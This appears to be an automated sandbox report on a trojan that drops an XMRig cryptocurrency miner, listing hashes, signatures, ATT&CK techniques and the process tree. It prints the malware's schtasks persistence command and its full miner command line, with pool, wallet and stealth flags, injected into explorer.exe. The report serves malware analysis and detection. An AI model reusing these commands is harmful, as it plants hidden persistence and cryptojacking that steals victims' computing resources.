xmrig | 1ed5337566938228ee9afcad29b1f722d55f4f8172a3157af4d4ad913541b2ea

General

Target

SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exe
Size

2.2MB
MD5

bd8eaab97c1724a00678af57bfa1c060
SHA1

075a96004a9a974ffd40254fbf36049cc9f0f940
SHA256

1ed5337566938228ee9afcad29b1f722d55f4f8172a3157af4d4ad913541b2ea
SHA512

d085a9c1a937c22e8bd2ed73e29cdc662723d88c83e6a0b8a7b90b67e61c92e8ae241c3237d51f1ad591e4f57cc0ec44de6d2c70f71e0af36e47dec79f514bda

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 3 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/652-145-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral2/memory/652-146-0x00000001402EB66C-mapping.dmp	xmrig
behavioral2/memory/652-149-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig

Executes dropped EXE 3 IoCs

Processes:

sihost64.exeServices.exesihost64.exe

pid process

1140 sihost64.exe
3136 Services.exe
2728 sihost64.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Suspicious use of SetThreadContext 1 IoCs

Processes:

Services.exe

description pid process target process

PID 3136 set thread context of 652 3136 Services.exe explorer.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4056 schtasks.exe
2416 schtasks.exe

pid	process
1140	sihost64.exe
3136	Services.exe
2728	sihost64.exe

description	pid	process	target process
PID 3136 set thread context of 652	3136	Services.exe	explorer.exe

pid	process
4056	schtasks.exe
2416	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exeServices.exe

pid	process
2232	SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exe
2232	SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exe
3136	Services.exe
3136	Services.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exesihost64.exeServices.exesihost64.exeexplorer.exe

description	pid	process
Token: SeDebugPrivilege	2232	SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exe
Token: SeDebugPrivilege	1140	sihost64.exe
Token: SeDebugPrivilege	3136	Services.exe
Token: SeDebugPrivilege	2728	sihost64.exe
Token: SeLockMemoryPrivilege	652	explorer.exe
Token: SeLockMemoryPrivilege	652	explorer.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.execmd.exeServices.execmd.exe

description	pid	process	target process
PID 2232 wrote to memory of 3772	2232	SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exe	cmd.exe
PID 2232 wrote to memory of 3772	2232	SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exe	cmd.exe
PID 3772 wrote to memory of 4056	3772	cmd.exe	schtasks.exe
PID 3772 wrote to memory of 4056	3772	cmd.exe	schtasks.exe
PID 2232 wrote to memory of 1140	2232	SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exe	sihost64.exe
PID 2232 wrote to memory of 1140	2232	SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exe	sihost64.exe
PID 2232 wrote to memory of 1140	2232	SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exe	sihost64.exe
PID 2232 wrote to memory of 3136	2232	SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exe	Services.exe
PID 2232 wrote to memory of 3136	2232	SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exe	Services.exe
PID 3136 wrote to memory of 2772	3136	Services.exe	cmd.exe
PID 3136 wrote to memory of 2772	3136	Services.exe	cmd.exe
PID 2772 wrote to memory of 2416	2772	cmd.exe	schtasks.exe
PID 2772 wrote to memory of 2416	2772	cmd.exe	schtasks.exe
PID 3136 wrote to memory of 2728	3136	Services.exe	sihost64.exe
PID 3136 wrote to memory of 2728	3136	Services.exe	sihost64.exe
PID 3136 wrote to memory of 2728	3136	Services.exe	sihost64.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe
PID 3136 wrote to memory of 652	3136	Services.exe	explorer.exe

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.PackedNET.721.2973.1958.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2232

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:3772

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
3⤵
- Creates scheduled task(s)
PID:4056

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1140

C:\Users\Admin\AppData\Local\Temp\Services.exe
"C:\Users\Admin\AppData\Local\Temp\Services.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3136

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:2772

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
4⤵
- Creates scheduled task(s)
PID:2416

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2728

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.supportxmr.com:3333 --user=4AAkh5so8qhiNxHwRe7JdJcZTibJQKizdZ5ChQMMdRA3g1cz16NodDGTe2y6Xb4kBj4wHvV8v1pwsN1KxNB4wmVWBRhhHKN --pass=WAVEMINER9961 --cpu-max-threads-hint=10 --donate-level=5 --cinit-idle-wait=30 --cinit-idle-cpu=30 --cinit-stealth
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:652

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Services.exe
MD5
bd8eaab97c1724a00678af57bfa1c060

SHA1
075a96004a9a974ffd40254fbf36049cc9f0f940

SHA256
1ed5337566938228ee9afcad29b1f722d55f4f8172a3157af4d4ad913541b2ea

SHA512
d085a9c1a937c22e8bd2ed73e29cdc662723d88c83e6a0b8a7b90b67e61c92e8ae241c3237d51f1ad591e4f57cc0ec44de6d2c70f71e0af36e47dec79f514bda

Download Submit
C:\Users\Admin\AppData\Local\Temp\Services.exe
MD5
bd8eaab97c1724a00678af57bfa1c060

SHA1
075a96004a9a974ffd40254fbf36049cc9f0f940

SHA256
1ed5337566938228ee9afcad29b1f722d55f4f8172a3157af4d4ad913541b2ea

SHA512
d085a9c1a937c22e8bd2ed73e29cdc662723d88c83e6a0b8a7b90b67e61c92e8ae241c3237d51f1ad591e4f57cc0ec44de6d2c70f71e0af36e47dec79f514bda

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\WR64.sys
MD5
0c0195c48b6b8582fa6f6373032118da

SHA1
d25340ae8e92a6d29f599fef426a2bc1b5217299

SHA256
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

SHA512
ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
MD5
fcdf214645952c4af042b2690645ee04

SHA1
6fc7c6e6185dcc28d2a8d87f5d1cfff937096db2

SHA256
22a83e5b94e5b130c870026676b2e03591f24c32b1cbcbfa4eada0f9d5e82ebe

SHA512
daa1ca58a33756a9142336b9cb79abe529ddaf74ef4c46d33403c7bde7b7b5a7f213445c502f876d7c14d6845f6e1df39930eb410611f0d958a7036f88c79a79

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
MD5
fcdf214645952c4af042b2690645ee04

SHA1
6fc7c6e6185dcc28d2a8d87f5d1cfff937096db2

SHA256
22a83e5b94e5b130c870026676b2e03591f24c32b1cbcbfa4eada0f9d5e82ebe

SHA512
daa1ca58a33756a9142336b9cb79abe529ddaf74ef4c46d33403c7bde7b7b5a7f213445c502f876d7c14d6845f6e1df39930eb410611f0d958a7036f88c79a79

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
MD5
fcdf214645952c4af042b2690645ee04

SHA1
6fc7c6e6185dcc28d2a8d87f5d1cfff937096db2

SHA256
22a83e5b94e5b130c870026676b2e03591f24c32b1cbcbfa4eada0f9d5e82ebe

SHA512
daa1ca58a33756a9142336b9cb79abe529ddaf74ef4c46d33403c7bde7b7b5a7f213445c502f876d7c14d6845f6e1df39930eb410611f0d958a7036f88c79a79

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
MD5
fcdf214645952c4af042b2690645ee04

SHA1
6fc7c6e6185dcc28d2a8d87f5d1cfff937096db2

SHA256
22a83e5b94e5b130c870026676b2e03591f24c32b1cbcbfa4eada0f9d5e82ebe

SHA512
daa1ca58a33756a9142336b9cb79abe529ddaf74ef4c46d33403c7bde7b7b5a7f213445c502f876d7c14d6845f6e1df39930eb410611f0d958a7036f88c79a79

Download Submit
memory/652-153-0x00000000003E0000-0x0000000000400000-memory.dmp

Filesize
128KB

Download
memory/652-152-0x00000000003C0000-0x00000000003E0000-memory.dmp

Filesize
128KB

Download
memory/652-154-0x00000000003E0000-0x0000000000400000-memory.dmp

Filesize
128KB

Download
memory/652-145-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/652-146-0x00000001402EB66C-mapping.dmp

Download
memory/652-147-0x0000000000380000-0x00000000003A0000-memory.dmp

Filesize
128KB

Download
memory/652-149-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/1140-130-0x00000000053C0000-0x00000000053C1000-memory.dmp

Filesize
4KB

Download
memory/1140-131-0x0000000004EC0000-0x00000000053BE000-memory.dmp

Filesize
5.0MB

Download
memory/1140-128-0x00000000005D0000-0x00000000005D1000-memory.dmp

Filesize
4KB

Download
memory/1140-120-0x0000000000000000-mapping.dmp

Download
memory/2232-114-0x0000000000B40000-0x0000000000B41000-memory.dmp

Filesize
4KB

Download
memory/2232-117-0x000000001C8B0000-0x000000001C8B2000-memory.dmp

Filesize
8KB

Download
memory/2232-116-0x000000001CCC0000-0x000000001CEEA000-memory.dmp

Filesize
2.2MB

Download
memory/2416-135-0x0000000000000000-mapping.dmp

Download
memory/2728-137-0x0000000000000000-mapping.dmp

Download
memory/2728-148-0x00000000027F0000-0x00000000027F1000-memory.dmp

Filesize
4KB

Download
memory/2772-134-0x0000000000000000-mapping.dmp

Download
memory/3136-122-0x0000000000000000-mapping.dmp

Download
memory/3136-144-0x0000000001900000-0x000000000190A000-memory.dmp

Filesize
40KB

Download
memory/3136-136-0x0000000001920000-0x0000000001921000-memory.dmp

Filesize
4KB

Download
memory/3136-133-0x000000001CE02000-0x000000001CE03000-memory.dmp

Filesize
4KB

Download
memory/3772-118-0x0000000000000000-mapping.dmp

Download
memory/4056-119-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads